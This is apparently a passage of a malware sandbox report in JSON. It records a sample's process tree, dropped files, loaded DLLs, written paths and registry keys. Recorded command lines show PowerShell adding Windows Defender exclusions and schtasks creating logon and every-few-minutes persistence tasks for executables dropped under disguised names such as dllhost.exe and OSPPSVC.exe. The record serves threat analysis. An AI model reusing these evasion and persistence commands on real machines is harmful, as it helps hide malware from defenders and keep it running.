Keep-Alive","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}],"processes":[{"pid":7792,"ppid":0,"name":"a45e2d72a3718dd27e9b0703307a2e4a.exe","command_line":"","sha256":"0032705a736c09ccb7d06c156ceceee2c5915f486a32df2cd0d00d8393c9e0f2","normalized_path":"C:\\a45e2d72a3718dd27e9b0703307a2e4a.exe","uid":"00000000-00007792","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":1248,"ppid":7792,"name":"powershell.exe","command_line":"\"powershell\" -Command Add-MpPreference -ExclusionPath 'C:\\a45e2d72a3718dd27e9b0703307a2e4a.exe'","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00007792","uid":"00000000-00001248"},{"pid":7296,"ppid":7792,"name":"powershell.exe","command_line":"\"powershell\" -Command Add-MpPreference -ExclusionPath '%PROGRAMFILES%\\(x86)\\Microsoft OneDrive\\dllhost.exe'","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00007792","uid":"00000000-00007296"},{"pid":1292,"ppid":7792,"name":"powershell.exe","command_line":"\"powershell\" -Command Add-MpPreference -ExclusionPath '%WINDIR%\\Tasks\\OSPPSVC.exe'","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00007792","uid":"00000000-00001292"},{"pid":8120,"ppid":7792,"name":"powershell.exe","command_line":"\"powershell\" -Command Add-MpPreference -ExclusionPath '%PROGRAMFILES%\\(x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\AutoIt3_x64.exe'","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00007792","uid":"00000000-00008120"},{"pid":5324,"ppid":7792,"name":"cmd.exe","command_line":"/C \"%TEMP%\\rgVo7Q94jw.bat\"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00000000-00007792","uid":"00000000-00005324"},{"pid":3248,"ppid":5324,"name":"w32tm.exe","command_line":"w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2","sha256":"cd7b686140e6b3021593cfab3dace3b914df1a7875511229ee74241f5759d69c","normalized_path":"%WINDIR%\\system32\\w32tm.exe","parent_uid":"00000000-00005324","uid":"00000000-00003248"},{"pid":4212,"ppid":5324,"name":"AutoIt3_x64.exe","command_line":"","sha256":"286cbf5bb2371b63292722ef67cfa399149113109dba26eee13902b142673d20","normalized_path":"%PROGRAMFILES%\\(x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\AutoIt3_x64.exe","parent_uid":"00000000-00005324","uid":"00000000-00004212"},{"pid":768,"ppid":0,"name":"schtasks.exe","command_line":"/create /tn \"dllhostd\" /sc MINUTE /mo 9 /tr \"'%PROGRAMFILES%\\(x86)\\Microsoft OneDrive\\dllhost.exe'\" /f","sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","normalized_path":"%WINDIR%\\system32\\schtasks.exe","uid":"00000000-00000768","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":4652,"ppid":0,"name":"schtasks.exe","command_line":"/create /tn \"dllhost\" /sc ONLOGON /tr \"'%PROGRAMFILES%\\(x86)\\Microsoft OneDrive\\dllhost.exe'\" /rl HIGHEST /f","sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","normalized_path":"%WINDIR%\\system32\\schtasks.exe","uid":"00000000-00004652","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":4364,"ppid":0,"name":"schtasks.exe","command_line":"/create /tn \"dllhostd\" /sc MINUTE /mo 14 /tr \"'%PROGRAMFILES%\\(x86)\\Microsoft OneDrive\\dllhost.exe'\" /rl HIGHEST /f","sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","normalized_path":"%WINDIR%\\system32\\schtasks.exe","uid":"00000000-00004364","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":2352,"ppid":0,"name":"schtasks.exe","command_line":"/create /tn \"OSPPSVCO\" /sc MINUTE /mo 8 /tr \"'%WINDIR%\\Tasks\\OSPPSVC.exe'\" /f","sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","normalized_path":"%WINDIR%\\system32\\schtasks.exe","uid":"00000000-00002352","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":6052,"ppid":0,"name":"schtasks.exe","command_line":"/create /tn \"OSPPSVC\" /sc ONLOGON /tr \"'%WINDIR%\\Tasks\\OSPPSVC.exe'\" /rl HIGHEST /f","sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","normalized_path":"%WINDIR%\\system32\\schtasks.exe","uid":"00000000-00006052","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":5220,"ppid":0,"name":"schtasks.exe","command_line":"/create /tn \"OSPPSVCO\" /sc MINUTE /mo 7 /tr \"'%WINDIR%\\Tasks\\OSPPSVC.exe'\" /rl HIGHEST /f","sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","normalized_path":"%WINDIR%\\system32\\schtasks.exe","uid":"00000000-00005220","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":892,"ppid":0,"name":"schtasks.exe","command_line":"/create /tn \"AutoIt3_x64A\" /sc MINUTE /mo 12 /tr \"'%PROGRAMFILES%\\(x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\AutoIt3_x64.exe'\" /f","sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","normalized_path":"%WINDIR%\\system32\\schtasks.exe","uid":"00000000-00000892","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":364,"ppid":0,"name":"schtasks.exe","command_line":"/create /tn \"AutoIt3_x64\" /sc ONLOGON /tr \"'%PROGRAMFILES%\\(x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\AutoIt3_x64.exe'\" /rl HIGHEST /f","sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","normalized_path":"%WINDIR%\\system32\\schtasks.exe","uid":"00000000-00000364","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":7972,"ppid":0,"name":"schtasks.exe","command_line":"/create /tn \"AutoIt3_x64A\" /sc MINUTE /mo 6 /tr \"'%PROGRAMFILES%\\(x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\AutoIt3_x64.exe'\" /rl HIGHEST /f","sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","normalized_path":"%WINDIR%\\system32\\schtasks.exe","uid":"00000000-00007972","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="}],"all_imported_dlls":["System.Configuration.ni.dll","powrprof.dll","gdi32.dll","msvcrt.dll","Microsoft.PowerShell.Commands.Management.ni.dll","OneCoreUAPCommonProxyStub.dll","Microsoft.Management.Infrastructure.ni.dll","ntdll.dll","fltLib.dll","profapi.dll","sspicli.dll","ntdsapi.dll","clrjit.dll","System.DirectoryServices.ni.dll","taskschd.dll","vcruntime140_clr0400.dll","PlayToDevice.dll","imagehlp.dll","combase.dll","MMDevAPI.dll","mscoree.dll","KernelBase.dll","windows.storage.dll","wmiutils.dll","wpdshext.dll","System.Management.Automation.ni.dll","dnsapi.dll","gdi32full.dll","shell32.dll","cryptsp.dll","wbemprox.dll","fastprox.dll","System.Data.ni.dll","msasn1.dll","SO5k6sTd.dll","System.Transactions.ni.dll","clbcatq.dll","devobj.dll","wldp.dll","ntmarta.dll","clr.dll","System.Management.ni.dll","System.Web.dll","urlmon.dll","sechost.dll","ole32.dll","oleaut32.dll","System.ni.dll","gpapi.dll","Microsoft.PowerShell.Security.ni.dll","xmllite.dll","user32.dll","version.dll","WMINet_Utils.dll","System.Transactions.dll","IPHLPAPI.DLL","netutils.dll","nsi.dll","rasadhlp.dll","ws2_32.dll","mscoreei.dll","rsaenh.dll","MpOAV.dll","System.Runtime.Serialization.ni.dll","ucrtbase.dll","bcryptprimitives.dll","sppc.dll","FWPUCLNT.DLL","VxSSL64.dll","wbemcomn.dll","atl.dll","rpcrt4.dll","cryptbase.dll","mswsock.dll","aepic.dll","edputil.dll","System.Data.dll","secur32.dll","DevDispItemProvider.dll","uxtheme.dll","shlwapi.dll","ucrtbase_clr0400.dll","userenv.dll","MpClient.dll","wbemsvc.dll","iertutil.dll","apphelp.dll","kernel.appcore.dll","mscorlib.ni.dll","cfgmgr32.dll","crypt32.dll","cmdext.dll","System.Xml.ni.dll","bcrypt.dll","dlnashext.dll","amsi.dll","propsys.dll","Windows.StateRepositoryPS.dll","logoncli.dll","kernel32.dll","msvcp_win.dll","System.Windows.Forms.ni.dll","SHCore.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","win32u.dll","imm32.dll","System.Drawing.ni.dll","System.Core.ni.dll","wintrust.dll","slc.dll","cldapi.dll","msIso.dll","advapi32.dll","psapi.dll","GdiPlus.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"AutoIt3_x64.exe","sha256":"0032705a736c09ccb7d06c156ceceee2c5915f486a32df2cd0d00d8393c9e0f2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"dllhost.exe","sha256":"0032705a736c09ccb7d06c156ceceee2c5915f486a32df2cd0d00d8393c9e0f2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"rgVo7Q94jw.bat","sha256":"d2720d01fbacdd64fc74a5cfaa90912b88af020380442729ebd25928ca1d0241","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"OSPPSVC.exe","sha256":"0032705a736c09ccb7d06c156ceceee2c5915f486a32df2cd0d00d8393c9e0f2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"a45e2d72a3718dd27e9b0703307a2e4a.exe.log","sha256":"1f12df0fbceb6d08d1c00159f6001dbb02809b251022e661e21a369dab1f4b3d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"StartupProfileData-NonInteractive","sha256":"e39d57ce0416c9b333d3511de6b6e2800b46efaa639282f6ccbe2910e9906533","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"21217b1546ce04","sha256":"09532aaa92a43529ed8fd580a7f7e9fbfc3b08a8a5d560834e9aa2e5b11a7f97","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"RCX39E1.tmp","sha256":"286cbf5bb2371b63292722ef67cfa399149113109dba26eee13902b142673d20","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"5940a34987c991","sha256":"e66c51f854b8a30d44ef6c5f06c84c70f9b1e9134c81c9e3d81e10bb492c1e20","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"RCX2E95.tmp","sha256":"5473cfb36e3ec3cf1ff9b6e0ea64863ba11a03e007ecddf63c08dd65d798457b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"Jwlm5H7P52","sha256":"53851ffe762ef133f4f8dbbf33b0e57b691e639ac564cbfd2354fa5dcd9e536b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"1610b97d3ab4a7","sha256":"0048f628c1d8db73f8dbbc1307226353bce34edc989026b07c53d012a1b168a9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"RCX34CF.tmp","sha256":"a469ba21dd4d7011000787192e00c4b9300dc37c605812a2cccdce20bf24d9e6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"RCX27AE.tmp","sha256":"4f8df13a3f1c1c4c5411adaf917537a7678a9adf9e17b4da47f2ab8509a6bef0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"AutoIt3_x64.exe.log","sha256":"b17b369288799ffe323047834b50cdd4f0877a11f44d5ef70b630e6921e92b73","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"OSPPSVC.exe.log","sha256":"f30b02b0b2de13d67f64c21a962271dfe6a1349695ee4820c870e450c1341c19","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"AutoIt3_x64.exe%3AZone.Identifier","sha256":"1409cc4125f7e08d09a731da789dc35c09afa8e716c00ad22d9f3f1b17a2cb33","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"OSPPSVC.exe%3AZone.Identifier","sha256":"1409cc4125f7e08d09a731da789dc35c09afa8e716c00ad22d9f3f1b17a2cb33","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"dllhost.exe%3AZone.Identifier","sha256":"1409cc4125f7e08d09a731da789dc35c09afa8e716c00ad22d9f3f1b17a2cb33","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]}],"files_written":[{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft OneDrive\\dllhost.exe","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft OneDrive\\dllhost.exe:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft OneDrive\\5940a34987c991","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"path":"%WINDIR%\\Tasks\\OSPPSVC.exe","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"path":"%WINDIR%\\Tasks\\OSPPSVC.exe:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"path":"%WINDIR%\\Tasks\\1610b97d3ab4a7","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"path":"%PROGRAMFILES%\\(x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\AutoIt3_x64.exe","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"path":"%PROGRAMFILES%\\(x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\AutoIt3_x64.exe:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"path":"%PROGRAMFILES%\\(x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\21217b1546ce04","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"path":"C:\\RCX27AE.tmp","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft OneDrive\\RCX2E95.tmp","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"path":"%WINDIR%\\Tasks\\RCX34CF.tmp","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"path":"%PROGRAMFILES%\\(x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\RCX39E1.tmp","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"path":"%TEMP%\\Jwlm5H7P52","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"path":"%TEMP%\\rgVo7Q94jw.bat","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0\\UsageLogs\\a45e2d72a3718dd27e9b0703307a2e4a.exe.log","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_dmmkdlfc.uwe.ps1","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_dpvulu1j.t00.psm1","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_gz2g0vze.cxy.ps1","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_ql5sundz.fo5.psm1","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_ur2m2j4e.y23.ps1","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_n4feelrx.ovd.psm1","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_lci5wmjd.m5s.ps1","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_kahyhpeu.u3x.psm1","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","so